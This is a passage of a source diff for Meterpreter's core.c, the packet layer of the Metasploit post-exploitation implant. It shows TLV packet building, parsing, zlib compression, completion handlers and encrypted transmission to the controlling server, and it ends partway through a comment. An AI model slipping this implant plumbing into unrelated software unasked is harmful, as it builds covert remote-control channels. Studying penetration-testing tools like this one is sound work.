(Packet*)malloc(sizeof(Packet)))) - { - break; - } - - memset(packet, 0, sizeof(Packet)); - - // we don't need to worry about the TLV header at this point - // so we'll ignore it - - // Initialize the payload to be blank - packet->payload = NULL; - packet->payloadLength = 0; - - return packet; - } while (0); - - SAFE_FREE(packet); - - return NULL; -} - -/*! - * @brief Add a group packet to the parent packet. - * @param packet Pointer to the container packet that the group is to be added to. - * @param type The type of group packet being added. - * @param groupPacket the packet containing the group data (created by `packet_create_group`). - * @returns Indication of success or failure. - * @remarks The function calls `packet_destroy` on the `groupPacket` if adding the packet succeeds. - */ -DWORD packet_add_group(Packet* packet, TlvType type, Packet* groupPacket) -{ - DWORD result = packet_add_tlv_raw(packet, type, groupPacket->payload, groupPacket->payloadLength); - if (result == ERROR_SUCCESS) - { - packet_destroy(groupPacket); - return ERROR_SUCCESS; - } - - return result; -} - -/*! - * @brief Create a response packet from a request. - * @details Create a response packet from a request, referencing the requestors - * message identifier. - * @param request The request \c Packet to build a response for. - * @return Pointer to a new \c Packet. - */ -Packet *packet_create_response(Packet *request) -{ - Packet *response = NULL; - Tlv method, requestId; - BOOL success = FALSE; - PacketTlvType responseType; - - if (packet_get_type(request) == PACKET_TLV_TYPE_PLAIN_REQUEST) - { - responseType = PACKET_TLV_TYPE_PLAIN_RESPONSE; - } - else - { - responseType = PACKET_TLV_TYPE_RESPONSE; - } - - do - { - // Get the request TLV's method - if (packet_get_tlv_string(request, TLV_TYPE_METHOD, &method) != ERROR_SUCCESS) - { - vdprintf("[PKT] Can't find method"); - break; - } - - // Try to allocate a response packet - if (!(response = packet_create(responseType, (PCHAR)method.buffer))) - { - vdprintf("[PKT] Can't create response"); - break; - } - - // Get the request TLV's request identifier - if (packet_get_tlv_string(request, TLV_TYPE_REQUEST_ID, &requestId) != ERROR_SUCCESS) - { - vdprintf("[PKT] Can't find request ID"); - break; - } - - // Add the request identifier to the packet - packet_add_tlv_string(response, TLV_TYPE_REQUEST_ID, (PCHAR)requestId.buffer); - - // If the packet that is being handled is considered local, then we - // associate the response with the request so that it can be handled - // locally (and vice versa) - if (request->local) - { - request->partner = response; - response->partner = request; - } - - success = TRUE; - - } while (0); - - // Cleanup on failure - if (!success) - { - if (response) - { - packet_destroy(response); - } - - response = NULL; - } - - return response; -} - -/*! - * @brief Destroy the packet context and the payload buffer. - * @param packet Pointer to the \c Packet to destroy. - */ -VOID packet_destroy(Packet * packet) -{ - if (packet == NULL) - { - return; - } - - if (packet->payload) - { - memset(packet->payload, 0, packet->payloadLength); - free(packet->payload); - } - - if (packet->decompressed_buffers) - { - while (TRUE) - { - DECOMPRESSED_BUFFER * buf = list_pop(packet->decompressed_buffers); - if (!buf) - { - break; - } - - if (buf->buffer) - { - memset(buf->buffer, 0, buf->length); - free(buf->buffer); - } - - free(buf); - } - - list_destroy(packet->decompressed_buffers); - } - - memset(packet, 0, sizeof(Packet)); - - free(packet); -} - -/*! - * @brief Add a string value TLV to a packet, including the \c NULL terminator. - * @param packet Pointer to the packet to add the value to. - * @param type TLV type for the value. - * @param str Pointer to the string value to add to the packet. - * @return Indication of success or failure. - * @retval ERROR_SUCCESS The operation completed successfully. - * @retval ERROR_NOT_ENOUGH_MEMORY Insufficient memory available. - */ -DWORD packet_add_tlv_string( Packet *packet, TlvType type, LPCSTR str ) -{ - return packet_add_tlv_raw(packet, type, (PUCHAR)str, (DWORD)strlen(str) + 1); -} - -/*! - * @brief Add a wide-string value TLV to a packet, including the \c NULL terminator. - * @param packet Pointer to the packet to add the value to. - * @param type TLV type for the value. - * @param str Pointer to the wide-string value to add to the packet. - * @param strLength of the string (not including the NULL terminator). - * @return Indication of success or failure. - * @retval ERROR_SUCCESS The operation completed successfully. - * @retval ERROR_NOT_ENOUGH_MEMORY Insufficient memory available. - */ -DWORD packet_add_tlv_wstring_len(Packet *packet, TlvType type, LPCWSTR str, size_t strLength) -{ - DWORD dwResult; - LPSTR lpStr = (LPSTR)malloc(strLength + 1); - - if (lpStr) - { - wcstombs(lpStr, str, strLength); - lpStr[strLength] = 0; - dwResult = packet_add_tlv_raw(packet, type, (PUCHAR)lpStr, (DWORD)strLength + 1); - free(lpStr); - } - else - { - dwResult = ERROR_NOT_ENOUGH_MEMORY; - } - - return dwResult; -} - -/*! - * @brief Add a wide-string value TLV to a packet, including the \c NULL terminator. - * @param packet Pointer to the packet to add the value to. - * @param type TLV type for the value. - * @param str Pointer to the wide-string value to add to the packet. - * @return Indication of success or failure. - * @retval ERROR_SUCCESS The operation completed successfully. - * @retval ERROR_NOT_ENOUGH_MEMORY Insufficient memory available. - */ -DWORD packet_add_tlv_wstring(Packet *packet, TlvType type, LPCWSTR str) -{ - return packet_add_tlv_wstring_len(packet, type, str, wcslen(str)); -} - -/*! - * @brief Add a unsigned integer value TLV to a packet. - * @param packet Pointer to the packet to add the value to. - * @param type TLV type for the value. - * @param val The value to add to the packet. - * @return Indication of success or failure. - * @retval ERROR_SUCCESS The operation completed successfully. - * @retval ERROR_NOT_ENOUGH_MEMORY Insufficient memory available. - */ -DWORD packet_add_tlv_uint(Packet *packet, TlvType type, UINT val) -{ - val = htonl(val); - - return packet_add_tlv_raw(packet, type, (PUCHAR)&val, sizeof(val)); -} - -/*! - * @brief Add a quad-work value TLV to a packet. - * @param packet Pointer to the packet to add the value to. - * @param type TLV type for the value. - * @param val The value to add to the packet. - * @return Indication of success or failure. - * @retval ERROR_SUCCESS The operation completed successfully. - * @retval ERROR_NOT_ENOUGH_MEMORY Insufficient memory available. - */ -DWORD packet_add_tlv_qword(Packet *packet, TlvType type, QWORD val) -{ - val = htonq(val); - - return packet_add_tlv_raw(packet, type, (PUCHAR)&val, sizeof(QWORD)); -} - -/*! - * @brief Add a boolean value TLV to a packet. - * @param packet Pointer to the packet to add the value to. - * @param type TLV type for the value. - * @param val The value to add to the packet. - * @return Indication of success or failure. - * @retval ERROR_SUCCESS The operation completed successfully. - * @retval ERROR_NOT_ENOUGH_MEMORY Insufficient memory available. - */ -DWORD packet_add_tlv_bool(Packet *packet, TlvType type, BOOL val) -{ - return packet_add_tlv_raw(packet, type, (PUCHAR)&val, 1); -} - -/*! - * @brief Add a group TLV to a packet. - * @details A TLV group is a TLV that contains multiple sub-TLVs. - * @param packet Pointer to the packet to add the value to. - * @param type TLV type for the value. - * @param entries Pointer to the array of TLV entries to add. - * @param numEntries Count of the number of TLV entries in the \c entries array. - * @return Indication of success or failure. - * @retval ERROR_SUCCESS The operation completed successfully. - * @retval ERROR_NOT_ENOUGH_MEMORY Insufficient memory available. - */ -DWORD packet_add_tlv_group(Packet *packet, TlvType type, Tlv *entries, DWORD numEntries) -{ - DWORD totalSize = 0, - offset = 0, - index = 0, - res = ERROR_SUCCESS; - PCHAR buffer = NULL; - - // Calculate the total TLV size. - for (index = 0; index < numEntries; index++) - { - totalSize += entries[index].header.length + sizeof(TlvHeader); - } - - do - { - // Allocate storage for the complete buffer - if (!(buffer = (PCHAR)malloc(totalSize))) - { - res = ERROR_NOT_ENOUGH_MEMORY; - break; - } - - // Copy the memory into the new buffer - for (index = 0; index < numEntries; index++) - { - TlvHeader rawHeader; - - // Convert byte order for storage - rawHeader.length = htonl(entries[index].header.length + sizeof(TlvHeader)); - rawHeader.type = htonl((DWORD)entries[index].header.type); - - // Copy the TLV header & payload - memcpy(buffer + offset, &rawHeader, sizeof(TlvHeader)); - memcpy(buffer + offset + sizeof(TlvHeader), entries[index].buffer, entries[index].header.length); - - // Update the offset into the buffer - offset += entries[index].header.length + sizeof(TlvHeader); - } - - // Now add the TLV group with its contents populated - res = packet_add_tlv_raw(packet, type, buffer, totalSize); - - } while (0); - - // Free the temporary buffer - SAFE_FREE(buffer); - - return res; -} - -/*! - * @brief Add an array of TLVs to a packet. - * @param packet Pointer to the packet to add the values to. - * @param entries Pointer to the array of TLV entries to add. - * @param numEntries Count of the number of TLV entries in the \c entries array. - * @return Indication of success or failure. - * @retval ERROR_SUCCESS The operation completed successfully. - * @retval ERROR_NOT_ENOUGH_MEMORY Insufficient memory available. - */ -DWORD packet_add_tlvs(Packet *packet, Tlv *entries, DWORD numEntries) -{ - DWORD index; - - for (index = 0; index < numEntries; index++) - { - packet_add_tlv_raw(packet, (TlvType)entries[index].header.type, entries[index].buffer, entries[index].header.length); - } - - return ERROR_SUCCESS; -} - -/*! - * @brief Add a raw value TLV to a packet, with compression. - * @details The value given in the \c buf parameter will be compressed with zlib. - * @param packet Pointer to the packet to add the value to. - * @param type TLV type for the value. - * @param buf Pointer to the data that is to be compressed and added. - * @param length Number of bytes in \c buf to compress. - * @return Indication of success or failure. - * @retval ERROR_SUCCESS The operation completed successfully. - * @retval ERROR_NOT_ENOUGH_MEMORY Insufficient memory available. - */ -DWORD packet_add_tlv_raw_compressed(Packet *packet, TlvType type, LPVOID buf, DWORD length) -{ - DWORD result = ERROR_SUCCESS; - DWORD headerLength = sizeof(TlvHeader); - PUCHAR newPayload = NULL; - BYTE * compressed_buf = NULL; - DWORD realLength = 0; - DWORD newPayloadLength = 0; - DWORD compressed_length = (DWORD)(1.01 * (length + 12) + 1); - - do - { - compressed_buf = (BYTE *)malloc(compressed_length); - if (!compressed_buf) - { - result = ERROR_NOT_ENOUGH_MEMORY; - break; - } - - if (compress2(compressed_buf, &compressed_length, buf, length, Z_BEST_COMPRESSION) != Z_OK) - { - result = ERROR_UNSUPPORTED_COMPRESSION; - break; - } - - realLength = compressed_length + headerLength; - newPayloadLength = packet->payloadLength + realLength; - - // Allocate/Reallocate the packet's payload - if (packet->payload) - { - newPayload = (PUCHAR)realloc(packet->payload, newPayloadLength); - } - else - { - newPayload = (PUCHAR)malloc(newPayloadLength); - } - - if (!newPayload) - { - result = ERROR_NOT_ENOUGH_MEMORY; - break; - } - - // Populate the new TLV - ((LPDWORD)(newPayload + packet->payloadLength))[0] = htonl(realLength); - ((LPDWORD)(newPayload + packet->payloadLength))[1] = htonl((DWORD)type); - - memcpy(newPayload + packet->payloadLength + headerLength, compressed_buf, compressed_length); - - // Update the header length and payload length - packet->header.length = htonl(ntohl(packet->header.length) + realLength); - packet->payload = newPayload; - packet->payloadLength = newPayloadLength; - - result = ERROR_SUCCESS; - - } while (0); - - SAFE_FREE(compressed_buf); - - return result; -} - -/*! - * @brief Add an arbitrary raw value TLV to a packet. - * @details The value given in the \c buf parameter will _not_ be compressed. - * @param packet Pointer to the packet to add the value to. - * @param type TLV type for the value. - * @param buf Pointer to the data that is to be added. - * @param length Number of bytes in \c buf to add. - * @return Indication of success or failure. - * @retval ERROR_SUCCESS The operation completed successfully. - * @retval ERROR_NOT_ENOUGH_MEMORY Insufficient memory available. - */ -DWORD packet_add_tlv_raw(Packet *packet, TlvType type, LPVOID buf, DWORD length) -{ - DWORD headerLength = sizeof(TlvHeader); - DWORD realLength = length + headerLength; - DWORD newPayloadLength = packet->payloadLength + realLength; - PUCHAR newPayload = NULL; - - // check if this TLV is to be compressed... - if ((type & TLV_META_TYPE_COMPRESSED) == TLV_META_TYPE_COMPRESSED) - { - return packet_add_tlv_raw_compressed(packet, type, buf, length); - } - - // Allocate/Reallocate the packet's payload - if (packet->payload) - { - newPayload = (PUCHAR)realloc(packet->payload, newPayloadLength); - } - else - { - newPayload = (PUCHAR)malloc(newPayloadLength); - } - - if (!newPayload) - { - return ERROR_NOT_ENOUGH_MEMORY; - } - - // Populate the new TLV - ((LPDWORD)(newPayload + packet->payloadLength))[0] = htonl(realLength); - ((LPDWORD)(newPayload + packet->payloadLength))[1] = htonl((DWORD)type); - - memcpy(newPayload + packet->payloadLength + headerLength, buf, length); - - // Update the header length and payload length - packet->header.length = htonl(ntohl(packet->header.length) + realLength); - packet->payload = newPayload; - packet->payloadLength = newPayloadLength; - - return ERROR_SUCCESS; -} - -/*! - * @brief Check if a TLV is NULL-terminated. - * @details The function checks the data within the range of bytes specified by - * the \c length property of the TLV \c header. - * @param tlv Pointer to the TLV to check. - * @return Indication of whether the TLV is terminated with a \c NULL byte or not. - * @retval ERROR_SUCCESS A \c NULL byte is present. - * @retval ERROR_NOT_FOUND No \c NULL byte is present. - * @sa TlvHeader - */ -DWORD packet_is_tlv_null_terminated( Tlv *tlv ) -{ - if ((tlv->header.length) && (tlv->buffer[tlv->header.length - 1] != 0)) - { - return ERROR_NOT_FOUND; - } - - return ERROR_SUCCESS; -} - -/*! - * @brief Get the TLV type of the packet. - * @param packet Pointer to the packet to get the type from. - * @return \c PacketTlvType for the given \c Packet. - */ -PacketTlvType packet_get_type( Packet *packet ) -{ - return (PacketTlvType)ntohl( packet->header.type ); -} - -/*! - * @brief Get the TLV meta-type of the packet. - * @param packet Pointer to the packet to get the meta-type from. - * @return \c TlvMetaType for the given \c Packet. - */ -TlvMetaType packet_get_tlv_meta( Packet *packet, Tlv *tlv ) -{ - return TLV_META_TYPE_MASK( tlv->header.type ); -} - -/*! - * @brief Get a TLV of a given type from the packet. - * @param packet Pointer to the packet to get the TLV from. - * @param type Type of TLV to get. - * @param tlv Pointer to the TLV that will receive the data. - * @return Indication of success or failure. - * @retval ERROR_SUCCESS The operation completed successfully. - * @retval ERROR_NOT_FOUND Unable to find the TLV. - */ -DWORD packet_get_tlv(Packet *packet, TlvType type, Tlv *tlv) -{ - return packet_enum_tlv(packet, 0, type, tlv); -} - -/*! - * @brief Get a string TLV from the packet. - * @param packet Pointer to the packet to get the TLV from. - * @param type Type of TLV to get. - * @param tlv Pointer to the TLV that will receive the data. - * @return Indication of success or failure. - * @retval ERROR_SUCCESS The operation completed successfully. - * @retval ERROR_NOT_FOUND Unable to find the TLV or the string - * value is not NULL-terminated. - */ -DWORD packet_get_tlv_string( Packet *packet, TlvType type, Tlv *tlv ) -{ - DWORD res; - - if ((res = packet_get_tlv(packet, type, tlv)) == ERROR_SUCCESS) - { - res = packet_is_tlv_null_terminated(tlv); - } - - return res; -} - -/*! - * @brief Get a TLV of a given type from a group TLV in the packet. - * @param packet Pointer to the packet to get the TLV from. - * @param group Pointer to the group TLV to get the value from. - * @param type Type of TLV to get. - * @param tlv Pointer to the TLV that will receive the data. - * @return Indication of success or failure. - * @retval ERROR_SUCCESS The operation completed successfully. - * @retval ERROR_NOT_FOUND Unable to find the TLV. - */ -DWORD packet_get_tlv_group_entry(Packet *packet, Tlv *group, TlvType type, Tlv *entry) -{ - return packet_find_tlv_buf(packet, group->buffer, group->header.length, 0, type, entry); -} - -/*! - * @brief Enumerate a TLV (with the option of constraining its type). - * @param packet Pointer to the packet to get the TLV from. - * @param type Type of TLV to get (optional). - * @param tlv Pointer to the TLV that will receive the data. - * @return Indication of success or failure. - * @retval ERROR_SUCCESS The operation completed successfully. - * @retval ERROR_NOT_FOUND Unable to find the TLV. - */ -DWORD packet_enum_tlv(Packet *packet, DWORD index, TlvType type, Tlv *tlv) -{ - return packet_find_tlv_buf(packet, packet->payload, packet->payloadLength, index, type, tlv); -} - -/*! - * @brief Get the string value of a TLV. - * @param packet Pointer to the packet to get the TLV from. - * @param type Type of TLV to get (optional). - * @return Pointer to the string value, if found. - * @retval NULL The string value was not found in the TLV. - * @retval Non-NULL Pointer to the string value. - */ -PCHAR packet_get_tlv_value_string( Packet *packet, TlvType type ) -{ - Tlv stringTlv; - PCHAR string = NULL; - - if (packet_get_tlv_string(packet, type, &stringTlv) == ERROR_SUCCESS) - { - string = (PCHAR)stringTlv.buffer; - } - - return string; -} - -/*! - * @brief Get the string value of a TLV as a wchar_t string. - * @param packet Pointer to the packet to get the TLV from. - * @param type Type of TLV to get (optional). - * @return Pointer to the string value, if found. - * @retval NULL The string value was not found in the TLV. - * @retval Non-NULL Pointer to the string value (must be released with free()). - * @remark This function allocates a new string and therefore must be released - * using free(). - */ -wchar_t* packet_get_tlv_value_wstring(Packet* packet, TlvType type) -{ - size_t size; - wchar_t* result = NULL; - PCHAR string = packet_get_tlv_value_string(packet, type); - - if (string) - { - size = mbstowcs(NULL, string, 0) + 1; - result = (wchar_t*)calloc(size, sizeof(wchar_t)); - if (result) - { - mbstowcs(result, string, size); - } - } - return result; -} - -/*! - * @brief Get the unsigned int value of a TLV. - * @param packet Pointer to the packet to get the TLV from. - * @param type Type of TLV to get (optional). - * @return The value found in the TLV. - * @todo On failure, 0 is returned. We need to make sure this is the right - * thing to do because 0 might also be a valid value. - */ -UINT packet_get_tlv_value_uint(Packet *packet, TlvType type) -{ - Tlv uintTlv; - - if ((packet_get_tlv(packet, type, &uintTlv) != ERROR_SUCCESS) || (uintTlv.header.length < sizeof(DWORD))) - { - return 0; - } - - return ntohl(*(LPDWORD)uintTlv.buffer); -} - -/*! - * @brief Get the raw value of a TLV. - * @param packet Pointer to the packet to get the TLV from. - * @param type Type of TLV to get (optional). - * @return The value found in the TLV. - */ -BYTE * packet_get_tlv_value_raw(Packet * packet, TlvType type) -{ - Tlv tlv; - - if (packet_get_tlv(packet, type, &tlv) != ERROR_SUCCESS) - { - return NULL; - } - - return tlv.buffer; -} - -/*! - * @brief Get the quad-word value of a TLV. - * @param packet Pointer to the packet to get the TLV from. - * @param type Type of TLV to get (optional). - * @return The value found in the TLV. - * @todo On failure, 0 is returned. We need to make sure this is the right - * thing to do because 0 might also be a valid value. - */ -QWORD packet_get_tlv_value_qword(Packet *packet, TlvType type) -{ - Tlv qwordTlv; - - if ((packet_get_tlv(packet, type, &qwordTlv) != ERROR_SUCCESS) || (qwordTlv.header.length < sizeof(QWORD))) - { - return 0; - } - - return ntohq(*(QWORD *)qwordTlv.buffer); -} - -/*! - * @brief Get the boolean value of a TLV. - * @param packet Pointer to the packet to get the TLV from. - * @param type Type of TLV to get (optional). - * @return The value found in the TLV. - * @todo On failure, FALSE is returned. We need to make sure this is the right - * thing to do because FALSE might also be a valid value. - */ -BOOL packet_get_tlv_value_bool(Packet *packet, TlvType type) -{ - Tlv boolTlv; - BOOL val = FALSE; - - if (packet_get_tlv(packet, type, &boolTlv) == ERROR_SUCCESS) - { - val = (BOOL)(*(PCHAR)boolTlv.buffer); - } - - return val; -} - -/*! - * @brief Add an exception to a packet. - * @details When adding an exception, both a TLV_EXCEPTION_CODE and TLV_EXCEPTION_STRING - * are added to the packet. - * @param packet Pointer to the packet to add the detail to. - * @param code Exception code. - * @param fmt Form string for the exception string. - * @param ... Varargs for the format string. - * @return Indication of success or failure. - * @retval ERROR_NOT_ENOUGH_MEMORY Unable to allocate memory for the request packet. - * @retval ERROR_SUCCESS Transmission was successful. - */ -DWORD packet_add_exception(Packet *packet, DWORD code, PCHAR fmt, ...) -{ - DWORD codeNbo = htonl(code); - char buf[8192]; - Tlv entries[2]; - va_list ap; - - // Ensure null termination - buf[sizeof(buf)-1] = 0; - - va_start(ap, fmt); - _vsnprintf(buf, sizeof(buf)-1, fmt, ap); - va_end(ap); - - // Populate the TLV group array - entries[0].header.type = TLV_TYPE_EXCEPTION_CODE; - entries[0].header.length = 4; - entries[0].buffer = (PUCHAR)&codeNbo; - entries[1].header.type = TLV_TYPE_EXCEPTION_STRING; - entries[1].header.length = (DWORD)strlen(buf) + 1; - entries[1].buffer = (PUCHAR)buf; - - // Add the TLV group, or try to at least. - return packet_add_tlv_group(packet, TLV_TYPE_EXCEPTION, entries, 2); -} - -/*! - * @brief Enumerate TLV entries until hitting a given index or type. - * @details This function will iterate through the given payload until one of the following conditions is true: - * - The end of the payload is encountered - * - The specified index is reached - * - A TLV of the specified type is reached - * - * If the first condition is met, the function returns with a failure. - * @param packet Pointer to the packet to get the TLV from. - * @param payload Pointer to the payload to parse. - * @param index Index of the TLV entry to find (optional). - * @param type Type of TLV to get (optional). - * @param tlv Pointer to the TLV that will receive the data. - * @return Indication of success or failure. - * @retval ERROR_SUCCESS The operation completed successfully. - * @retval ERROR_NOT_FOUND Unable to find the TLV. - */ -DWORD packet_find_tlv_buf(Packet *packet, PUCHAR payload, DWORD payloadLength, DWORD index, TlvType type, Tlv *tlv) -{ - DWORD currentIndex = 0; - DWORD offset = 0, length = 0; - BOOL found = FALSE; - PUCHAR current; - - vdprintf("[PKT FIND] Looking for type %u", type); - - memset(tlv, 0, sizeof(Tlv)); - - do - { - // Enumerate the TLV's - for (current = payload, length = 0; !found && current; offset += length, current += length) - { - TlvHeader *header = (TlvHeader *)current; - TlvType current_type = TLV_TYPE_ANY; // effectively '0' - - if ((current + sizeof(TlvHeader) > payload + payloadLength) || (current < payload)) - { - vdprintf("[PKT FIND] Reached end of packet buffer"); - break; - } - - // TLV's length - length = ntohl(header->length); - vdprintf("[PKT FIND] TLV header length: %u", length); - - // Matching type? - current_type = (TlvType)ntohl(header->type); - vdprintf("[PKT FIND] TLV header type: %u", current_type); - - // if the type has been compressed, temporarily remove the compression flag as compression is to be transparent. - if ((current_type & TLV_META_TYPE_COMPRESSED) == TLV_META_TYPE_COMPRESSED) - { - current_type = (TlvType)(current_type ^ TLV_META_TYPE_COMPRESSED); - } - - // check if the types match? - if ((current_type != type) && (type != TLV_TYPE_ANY)) - { - vdprintf("[PKT FIND] Types don't match, skipping."); - continue; - } - - // Matching index? - if (currentIndex != index) - { - vdprintf("[PKT FIND] wrong index, skipping."); - currentIndex++; - continue; - } - - if ((current + length > payload + payloadLength) || (current < payload)) - { - vdprintf("[PKT FIND] if ((current + length > payload + payloadLength) || (current < payload))"); - vdprintf("[PKT FIND] Current: %p", current); - vdprintf("[PKT FIND] length: %x", length); - vdprintf("[PKT FIND] Current + length: %p", current + length); - vdprintf("[PKT FIND] payload: %p", payload); - vdprintf("[PKT FIND] payloadLength: %x", payloadLength); - vdprintf("[PKT FIND] payload + payloadLength: %p", payload + payloadLength); - vdprintf("[PKT FIND] diff: %x", current + length - (payload + payloadLength)); - break; - } - - tlv->header.type = ntohl(header->type); - tlv->header.length = ntohl(header->length) - sizeof(TlvHeader); - tlv->buffer = payload + offset + sizeof(TlvHeader); - vdprintf("[PKT FIND] Found!"); - - if ((tlv->header.type & TLV_META_TYPE_COMPRESSED) == TLV_META_TYPE_COMPRESSED) - { - DECOMPRESSED_BUFFER * decompressed_buf = NULL; - - do - { - decompressed_buf = (DECOMPRESSED_BUFFER *)malloc(sizeof(DECOMPRESSED_BUFFER)); - if (!decompressed_buf) - { - break; - } - - // the first DWORD in a compressed buffer is the decompressed buffer length. - decompressed_buf->length = ntohl(*(DWORD *)tlv->buffer); - if (!decompressed_buf->length) - { - break; - } - - decompressed_buf->buffer = (BYTE *)malloc(decompressed_buf->length); - if (!decompressed_buf->buffer) - { - break; - } - - tlv->header.length -= sizeof(DWORD); - tlv->buffer += sizeof(DWORD); - - if (uncompress((Bytef*)decompressed_buf->buffer, &decompressed_buf->length, tlv->buffer, tlv->header.length) != Z_OK) - { - break; - } - - tlv->header.type = tlv->header.type ^ TLV_META_TYPE_COMPRESSED; - tlv->header.length = decompressed_buf->length; - tlv->buffer = (PUCHAR)decompressed_buf->buffer; - - if (!packet->decompressed_buffers) - { - packet->decompressed_buffers = list_create(); - } - - if (!packet->decompressed_buffers) - { - break; - } - - // each packet has a list of decompressed buffers which is used to - // wipe and fee all decompressed buffers upon the packet being destroyed. - list_push(packet->decompressed_buffers, decompressed_buf); - - found = TRUE; - - } while (0); - - if (!found && decompressed_buf) - { - SAFE_FREE(decompressed_buf->buffer); - SAFE_FREE(decompressed_buf); - } - } - else - { - found = TRUE; - } - } - - } while (0); - - return (found) ? ERROR_SUCCESS : ERROR_NOT_FOUND; -} - -/*! - * @brief Add a completion routine for a given request identifier. - * @return Indication of success or failure. - * @retval ERROR_NOT_ENOUGH_MEMORY Unable to allocate memory for the \c PacketCompletionRouteEntry instance. - * @retval ERROR_SUCCESS Addition was successful. - */ -DWORD packet_add_completion_handler(LPCSTR requestId, PacketRequestCompletion *completion) -{ - PacketCompletionRoutineEntry *entry; - DWORD res = ERROR_SUCCESS; - - do - { - // Allocate the entry - if (!(entry = (PacketCompletionRoutineEntry *)malloc(sizeof(PacketCompletionRoutineEntry)))) - { - res = ERROR_NOT_ENOUGH_MEMORY; - break; - } - - // Copy the completion routine information - memcpy(&entry->handler, completion, sizeof(PacketRequestCompletion)); - - // Copy the request identifier - if (!(entry->requestId = _strdup(requestId))) - { - res = ERROR_NOT_ENOUGH_MEMORY; - - free(entry); - - break; - } - - // Add the entry to the list - entry->next = packetCompletionRoutineList; - packetCompletionRoutineList = entry; - - } while (0); - - return res; -} - -/*! - * @brief Call the register completion handler(s) for the given request identifier. - * @details Only those handlers that match the given request are executed. - * @param remote Pointer to the \c Remote instance for this call. - * @param response Pointer to the response \c Packet. - * @param requestId ID of the request to execute the completion handlers of. - * @return Indication of success or failure. - * @retval ERROR_NOT_FOUND Unable to find any matching completion handlers for the request. - * @retval ERROR_SUCCESS Execution was successful. - */ -DWORD packet_call_completion_handlers( Remote *remote, Packet *response, LPCSTR requestId ) -{ - PacketCompletionRoutineEntry *current; - DWORD result = packet_get_tlv_value_uint(response, TLV_TYPE_RESULT); - DWORD matches = 0; - Tlv methodTlv; - LPCSTR method = NULL; - - // Get the method associated with this packet - if (packet_get_tlv_string(response, TLV_TYPE_METHOD, &methodTlv) == ERROR_SUCCESS) - { - method = (LPCSTR)methodTlv.buffer; - } - -// Enumerate the completion routine list -for (current = packetCompletionRoutineList; current; current = current->next) -{ - // Does the request id of the completion entry match the packet's request - // id? - if (strcmp(requestId, current->requestId)) - { - continue; - } - - // Call the completion routine - current->handler.routine(remote, response, current->handler.context, method, result); - - // Increment the number of matched handlers - matches++; -} - -if (matches) -{ - packet_remove_completion_handler(requestId); -} - -return (matches > 0) ? ERROR_SUCCESS : ERROR_NOT_FOUND; -} - -/*! - * @brief Remove a set of completion routine handlers for a given request identifier. - * @param requestId ID of the request. - * @return \c ERROR_SUCCESS is always returned. - */ -DWORD packet_remove_completion_handler(LPCSTR requestId) -{ - PacketCompletionRoutineEntry *current, *next, *prev; - - // Enumerate the list, removing entries that match - for (current = packetCompletionRoutineList, next = NULL, prev = NULL; - current; - prev = current, current = next) - { - next = current->next; - - if (strcmp(requestId, current->requestId)) - { - continue; - } - - // Remove the entry from the list - if (prev) - { - prev->next = next; - } - else - { - packetCompletionRoutineList = next; - } - - // Deallocate it - free((PCHAR)current->requestId); - free(current); - } - - return ERROR_SUCCESS; -} - -/*! - * @brief Transmit a response with just a result code to the remote endpoint. - * @param remote Pointer to the \c Remote instance. - * @param packet Pointer to the \c Packet that is to be sent. - * @param res Result code to return. - * @return An indication of the result of processing the transmission request. - */ -DWORD packet_transmit_empty_response(Remote *remote, Packet *packet, DWORD res) -{ - Packet *response = packet_create_response(packet); - - if (!response) - { - return ERROR_NOT_ENOUGH_MEMORY; - } - - return packet_transmit_response(res, remote, response); -} - -/*! - * @brief Transmit a `TLV_TYPE_RESULT` response if `response` is present. - * @param result The result to be sent. - * @param remote Reference to the remote connection to send the response to. - * @param response the Response to add the `result` to. - */ -DWORD packet_transmit_response(DWORD result, Remote* remote, Packet* response) -{ - if (response) - { - packet_add_tlv_uint(response, TLV_TYPE_RESULT, result); - return packet_transmit(remote, response, NULL); - } - return ERROR_NOT_ENOUGH_MEMORY; -} - -DWORD packet_add_request_id(Packet* packet) -{ - Tlv requestId = { 0 }; - - // If the packet does not already have a request identifier, create one for it - if (packet_get_tlv_string(packet, TLV_TYPE_REQUEST_ID, &requestId) != ERROR_SUCCESS) - { - DWORD index; - CHAR rid[32]; - - rid[sizeof(rid)-1] = 0; - - for (index = 0; index < sizeof(rid)-1; index++) - { - rid[index] = (rand() % 0x5e) + 0x21; - } - - packet_add_tlv_string(packet, TLV_TYPE_REQUEST_ID, rid); - } - return ERROR_SUCCESS; -} - -DWORD packet_transmit(Remote* remote, Packet* packet, PacketRequestCompletion* completion) -{ - if (packet->partner != NULL && packet->partner->local) - { - dprintf("[TRANSMIT] Ignoring local packet"); - return ERROR_SUCCESS; - } - - Tlv requestId; - DWORD res; - BYTE* encryptedPacket = NULL; - DWORD encryptedPacketLength = 0; - - dprintf("[TRANSMIT] Sending packet to the server"); - packet_add_request_id(packet); - - // Always add the UUID to the packet as well, so that MSF knows who and what we are - packet_add_tlv_raw(packet, TLV_TYPE_UUID, remote->orig_config->session.uuid, UUID_SIZE); - - do - { - // If a completion routine was supplied and the packet has a request - // identifier, insert the completion routine into the list - if ((completion) && - (packet_get_tlv_string(packet, TLV_TYPE_REQUEST_ID, - &requestId) == ERROR_SUCCESS)) - { - packet_add_completion_handler((LPCSTR)requestId.buffer, completion); - } - - encrypt_packet(remote, packet, &encryptedPacket, &encryptedPacketLength); - dprintf("[PACKET] Sending packet to remote, length: %u", encryptedPacketLength); - - dprintf("[PACKET] Remote: %p", remote); - dprintf("[PACKET] Transport: %p", remote->transport); - dprintf("[PACKET] Packet Transmit: %p", remote->transport->packet_transmit); - SetLastError(remote->transport->packet_transmit(remote, encryptedPacket, encryptedPacketLength)); - } while (0); - - res = GetLastError(); - - if (encryptedPacket != NULL) - { - free(encryptedPacket); - } - - // Destroy the packet - packet_destroy(packet); - - return res; +/*! + * @file core.c + * @brief Definitions of core components of the Meterpreter suite. + * @details Much of what exists in the core files is used in almost every area + * of the Meterpreter code base, and hence it's very important. Don't + * change this stuff unless you know what you're doing! + */ +#include "metsrv.h" +#include "packet_encryption.h" +#include + +DWORD packet_find_tlv_buf(Packet *packet, PUCHAR payload, DWORD payloadLength, DWORD index, + TlvType type, Tlv *tlv); + +/*! @brief List element that contains packet completion routine details. */ +typedef struct _PacketCompletionRoutineEntry +{ + LPCSTR requestId; ///< Id of the request. + PacketRequestCompletion handler; ///< Handler to call on completion. + struct _PacketCompletionRoutineEntry *next; ///< Pointer to the next compleiont routine entry. +} PacketCompletionRoutineEntry; + +/*! + * @brief Reference to the list of packet completion routines. + * @details This pointer is a singularly-linked list which contains references + * to PacketCompletionRouteEntry items, each of which is processed + * when packet_call_completion_handlers is invoked. + 